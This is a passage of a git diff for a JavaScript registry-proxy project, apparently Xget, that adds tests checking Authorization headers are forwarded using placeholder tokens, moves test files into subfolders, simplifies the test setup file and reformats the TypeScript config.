'https://example.com/gh/test/private-repo/README.md'; + const authToken = 'Bearer ghp_test_token_12345'; + + const response = await SELF.fetch(testUrl, { + method: 'HEAD', + headers: { + Authorization: authToken + } + }); + + // Should accept the request and forward the auth header + expect(response.status).not.toBe(400); + expect([200, 401, 403, 404]).toContain(response.status); + }); + + it('should forward Authorization header for PyPI authenticated requests', async () => { + const testUrl = 'https://example.com/pypi/simple/private-package/'; + const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU='; + + const response = await SELF.fetch(testUrl, { + method: 'HEAD', + headers: { + Authorization: authToken + } + }); + + // Should accept the request + expect(response.status).not.toBe(400); + expect([200, 401, 403, 404]).toContain(response.status); + }); + + it('should work with gated Hugging Face models', async () => { + // Simulate a request to a gated model that requires authentication + const testUrl = 'https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json'; + const authToken = 'Bearer hf_authenticated_token'; + + const response = await SELF.fetch(testUrl, { + headers: { + Authorization: authToken + } + }); + + // Should attempt to proxy with authentication + // The actual status depends on whether the token is valid and the model exists + expect(response.status).not.toBe(400); + }); + }); }); diff --git a/test/container-registry.test.js b/test/platforms/container-registry.test.js similarity index 93% rename from test/container-registry.test.js rename to test/platforms/container-registry.test.js index fcd8ea7..253ef37 100644 --- a/test/container-registry.test.js +++ b/test/platforms/container-registry.test.js @@ -253,7 +253,8 @@ describe('Container Registry Support', () => { it('should handle Docker Hub user images (namespace/image format)', async () => { // User images already have namespace prefix - const testUrl = 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest'; + const testUrl = + 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest'; const response = await SELF.fetch(testUrl, { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' @@ -265,29 +266,23 @@ describe('Container Registry Support', () => { }); it('should allow GET for Docker Hub manifest requests', async () => { - const response = await SELF.fetch( - 'https://example.com/cr/docker/v2/nginx/manifests/latest', - { - method: 'GET', - headers: { - Accept: 'application/vnd.docker.distribution.manifest.v2+json' - } + const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', { + method: 'GET', + headers: { + Accept: 'application/vnd.docker.distribution.manifest.v2+json' } - ); + }); expect(response.status).not.toBe(405); }); it('should allow HEAD for Docker Hub manifest requests', async () => { - const response = await SELF.fetch( - 'https://example.com/cr/docker/v2/nginx/manifests/latest', - { - method: 'HEAD', - headers: { - Accept: 'application/vnd.docker.distribution.manifest.v2+json' - } + const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', { + method: 'HEAD', + headers: { + Accept: 'application/vnd.docker.distribution.manifest.v2+json' } - ); + }); expect(response.status).not.toBe(405); }); diff --git a/test/cran.test.js b/test/platforms/cran.test.js similarity index 95% rename from test/cran.test.js rename to test/platforms/cran.test.js index 674abc2..e1ec94c 100644 --- a/test/cran.test.js +++ b/test/platforms/cran.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { PLATFORMS, transformPath } from '../src/config/platforms.js'; +import { PLATFORMS, transformPath } from '../../src/config/platforms.js'; describe('CRAN Platform Configuration', () => { it('should have CRAN platform configured', () => { diff --git a/test/crates.test.js b/test/platforms/crates.test.js similarity index 94% rename from test/crates.test.js rename to test/platforms/crates.test.js index 8d7409d..f438060 100644 --- a/test/crates.test.js +++ b/test/platforms/crates.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { transformPath } from '../src/config/platforms.js'; +import { transformPath } from '../../src/config/platforms.js'; describe('crates.io path transformation', () => { it('should transform crate download URLs correctly', () => { diff --git a/test/homebrew.test.js b/test/platforms/homebrew.test.js similarity index 97% rename from test/homebrew.test.js rename to test/platforms/homebrew.test.js index a9da2a5..b309eee 100644 --- a/test/homebrew.test.js +++ b/test/platforms/homebrew.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { transformPath } from '../src/config/platforms.js'; +import { transformPath } from '../../src/config/platforms.js'; describe('Homebrew path transformation', () => { describe('homebrew-api platform', () => { diff --git a/test/jenkins.test.js b/test/platforms/jenkins.test.js similarity index 98% rename from test/jenkins.test.js rename to test/platforms/jenkins.test.js index 42b78ed..c93e45f 100644 --- a/test/jenkins.test.js +++ b/test/platforms/jenkins.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { transformPath } from '../src/config/platforms.js'; +import { transformPath } from '../../src/config/platforms.js'; describe('Jenkins Plugin Support', () => { describe('Update Center Transformations', () => { diff --git a/test/npm-fix.test.js b/test/platforms/npm-fix.test.js similarity index 95% rename from test/npm-fix.test.js rename to test/platforms/npm-fix.test.js index 4addcce..2bc4f96 100644 --- a/test/npm-fix.test.js +++ b/test/platforms/npm-fix.test.js @@ -16,7 +16,7 @@ describe('npm URL Rewriting Fix', () => { // Simulate the regex replacement that happens in the code const rewrittenText = mockOriginalText.replace( /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, - `https://xget.xi-xu.me/npm/$1` + 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); @@ -41,7 +41,7 @@ describe('npm URL Rewriting Fix', () => { const rewrittenText = mockOriginalText.replace( /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, - `https://xget.xi-xu.me/npm/$1` + 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); @@ -67,7 +67,7 @@ describe('npm URL Rewriting Fix', () => { const rewrittenText = mockOriginalText.replace( /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, - `https://xget.xi-xu.me/npm/$1` + 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); diff --git a/test/opensuse.test.js b/test/platforms/opensuse.test.js similarity index 96% rename from test/opensuse.test.js rename to test/platforms/opensuse.test.js index d31edc0..a05a17f 100644 --- a/test/opensuse.test.js +++ b/test/platforms/opensuse.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { PLATFORMS, transformPath } from '../src/config/platforms.js'; +import { PLATFORMS, transformPath } from '../../src/config/platforms.js'; describe('openSUSE Platform Configuration', () => { it('should have openSUSE platform configured', () => { diff --git a/test/setup.js b/test/setup.js index b5c16d8..3a6eae3 100644 --- a/test/setup.js +++ b/test/setup.js @@ -1,117 +1,20 @@ /** * Test setup and global configuration + * Simplified version - only essential setup */ -import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest'; - -// Global test configuration -const TEST_CONFIG = { - timeout: 30000, // 30 seconds - retries: 2, - bail: false -}; - -// Global test state -let testStartTime; -let testMetrics = { - totalTests: 0, - passedTests: 0, - failedTests: 0, - skippedTests: 0 -}; +import { beforeAll } from 'vitest'; /** * Global setup - runs once before all tests */ beforeAll(async () => { - console.log('šŸš€ Starting Xget test suite...'); - testStartTime = Date.now(); - - // Initialize test environment - await setupTestEnvironment(); - - // Verify test dependencies - await verifyTestDependencies(); - - console.log('āœ… Test environment initialized'); -}); - -/** - * Global teardown - runs once after all tests - */ -afterAll(async () => { - const duration = Date.now() - testStartTime; - - console.log('\nšŸ“Š Test Suite Summary:'); - console.log(` Duration: ${duration}ms`); - console.log(` Total: ${testMetrics.totalTests}`); - console.log(` Passed: ${testMetrics.passedTests}`); - console.log(` Failed: ${testMetrics.failedTests}`); - console.log(` Skipped: ${testMetrics.skippedTests}`); - - // Cleanup test environment - await cleanupTestEnvironment(); - - console.log('šŸ Test suite completed'); -}); - -/** - * Setup before each test - */ -beforeEach(async context => { - testMetrics.totalTests++; - - // Reset any global state - resetGlobalState(); - - // Setup test-specific environment - await setupTestCase(context); -}); - -/** - * Cleanup after each test - */ -afterEach(async context => { - // Update test metrics based on result - if (context.meta?.result === 'pass') { - testMetrics.passedTests++; - } else if (context.meta?.result === 'fail') { - testMetrics.failedTests++; - } else if (context.meta?.result === 'skip') { - testMetrics.skippedTests++; - } - - // Cleanup test-specific resources - await cleanupTestCase(context); -}); - -/** - * Setup test environment - */ -async function setupTestEnvironment() { // Verify Cloudflare Workers environment if (typeof globalThis.fetch === 'undefined') { throw new Error('fetch is not available in test environment'); } - // Setup global test utilities - globalThis.TEST_CONFIG = TEST_CONFIG; - - // Initialize performance monitoring - if (typeof performance === 'undefined') { - globalThis.performance = { - now: () => Date.now() - }; - } - - // Setup console overrides for testing - setupConsoleOverrides(); -} - -/** - * Verify test dependencies - */ -async function verifyTestDependencies() { + // Verify required Web APIs const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams']; for (const global of requiredGlobals) { @@ -129,162 +32,11 @@ async function verifyTestDependencies() { } catch (error) { console.warn('Warning: Cloudflare Workers test environment not available'); } -} -/** - * Setup console overrides for testing - */ -function setupConsoleOverrides() { - const originalConsole = { ...console }; - - // Store original console methods - globalThis.originalConsole = originalConsole; - - // Override console methods for testing - console.warn = (...args) => { - if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { - originalConsole.warn(...args); - } - }; - - console.log = (...args) => { - if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { - originalConsole.log(...args); - } - }; -} - -/** - * Reset global state between tests - */ -function resetGlobalState() { - // Clear any cached data - if (globalThis.testCache) { - globalThis.testCache.clear(); + // Setup performance API if not available + if (typeof performance === 'undefined') { + globalThis.performance = { + now: () => Date.now() + }; } - - // Reset performance counters - if (globalThis.testPerformance) { - globalThis.testPerformance.reset(); - } -} - -/** - * Setup individual test case - */ -async function setupTestCase(context) { - // Create test-specific cache - globalThis.testCache = new Map(); - - // Setup test-specific performance monitoring - globalThis.testPerformance = { - marks: new Map(), - mark: name => { - globalThis.testPerformance.marks.set(name, performance.now()); - }, - measure: (name, startMark, endMark) => { - const start = globalThis.testPerformance.marks.get(startMark) || 0; - const end = globalThis.testPerformance.marks.get(endMark) || performance.now(); - return end - start; - }, - reset: () => { - globalThis.testPerformance.marks.clear(); - } - }; - - // Mark test start time - globalThis.testPerformance.mark('test-start'); -} - -/** - * Cleanup individual test case - */ -async function cleanupTestCase(context) { - // Mark test end time - globalThis.testPerformance.mark('test-end'); - - // Log test performance if verbose - if (process.env.VERBOSE_TESTS) { - const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end'); - console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`); - } - - // Cleanup test-specific resources - if (globalThis.testCache) { - globalThis.testCache.clear(); - } - - if (globalThis.testPerformance) { - globalThis.testPerformance.reset(); - } -} - -/** - * Cleanup test environment - */ -async function cleanupTestEnvironment() { - // Restore original console - if (globalThis.originalConsole) { - Object.assign(console, globalThis.originalConsole); - delete globalThis.originalConsole; - } - - // Cleanup global test utilities - delete globalThis.TEST_CONFIG; - delete globalThis.testCache; - delete globalThis.testPerformance; -} - -/** - * Custom test utilities available globally - */ -globalThis.testUtils = { - /** - * Create a test timeout - */ - timeout: ms => - new Promise((_, reject) => { - setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); - }), - - /** - * Wait for a condition to be true - */ - waitFor: async (condition, timeout = 5000, interval = 100) => { - const start = Date.now(); - - while (Date.now() - start < timeout) { - if (await condition()) { - return true; - } - await new Promise(resolve => setTimeout(resolve, interval)); - } - - throw new Error(`Condition not met within ${timeout}ms`); - }, - - /** - * Retry a function with exponential backoff - */ - retry: async (fn, maxRetries = 3, baseDelay = 100) => { - let lastError; - - for (let i = 0; i < maxRetries; i++) { - try { - return await fn(); - } catch (error) { - lastError = error; - - if (i < maxRetries - 1) { - const delay = baseDelay * Math.pow(2, i); - await new Promise(resolve => setTimeout(resolve, delay)); - } - } - } - - throw lastError; - } -}; - -// Export test configuration for use in other files -export { TEST_CONFIG, testMetrics }; +}); diff --git a/test/platforms.test.js b/test/unit/platforms.test.js similarity index 99% rename from test/platforms.test.js rename to test/unit/platforms.test.js index c79b84a..4c7a679 100644 --- a/test/platforms.test.js +++ b/test/unit/platforms.test.js @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { PLATFORMS, transformPath } from '../src/config/platforms.js'; +import { PLATFORMS, transformPath } from '../../src/config/platforms.js'; describe('Platform Configuration', () => { describe('Platform Definitions', () => { diff --git a/test/utils.test.js b/test/unit/utils.test.js similarity index 97% rename from test/utils.test.js rename to test/unit/utils.test.js index 5c96338..8df83a2 100644 --- a/test/utils.test.js +++ b/test/unit/utils.test.js @@ -52,9 +52,11 @@ function isGitLFSRequest(request, url) { // Check for LFS-specific headers const accept = request.headers.get('Accept') || ''; const contentType = request.headers.get('Content-Type') || ''; - - if (accept.includes('application/vnd.git-lfs') || - contentType.includes('application/vnd.git-lfs')) { + + if ( + accept.includes('application/vnd.git-lfs') || + contentType.includes('application/vnd.git-lfs') + ) { return true; } @@ -184,7 +186,9 @@ describe('Utility Functions', () => { }); it('should identify LFS object storage requests by path', () => { - const request = new Request('https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'); + const request = new Request( + 'https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd' + ); const url = new URL(request.url); expect(isGitLFSRequest(request, url)).toBe(true); @@ -192,7 +196,7 @@ describe('Utility Functions', () => { it('should identify LFS requests by Accept header', () => { const request = new Request('https://example.com/repo.git/objects/batch', { - headers: { 'Accept': 'application/vnd.git-lfs+json' } + headers: { Accept: 'application/vnd.git-lfs+json' } }); const url = new URL(request.url); @@ -278,7 +282,7 @@ describe('Utility Functions', () => { }); it('should reject extremely long paths', () => { - const longPath = '/' + 'a'.repeat(3000); + const longPath = `/${'a'.repeat(3000)}`; const request = new Request(`https://example.com${longPath}`); const url = new URL(request.url); diff --git a/tsconfig.json b/tsconfig.json index 6ff01fb..d7331c9 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -1,27 +1,17 @@ { - "compilerOptions": { - "allowJs": true, - "checkJs": true, - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "module": "ESNext", - "moduleResolution": "node", - "noEmit": true, - "skipLibCheck": true, - "strict": true, - "target": "ES2022", - "types": [ - "@cloudflare/workers-types", - "vitest/globals" - ] - }, - "exclude": [ - "node_modules", - "dist", - "coverage" - ], - "include": [ - "src/**/*", - "test/**/*" - ] -} \ No newline at end of file + "compilerOptions": { + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "module": "ESNext", + "moduleResolution": "node", + "noEmit": true, + "skipLibCheck": true, + "strict": true, + "target": "ES2022", + "types": ["@cloudflare/workers-types", "vitest/globals"] + }, + "exclude": ["node_modules", "dist", "coverage"], + "include": ["src/**/*", "test/**/*"] +}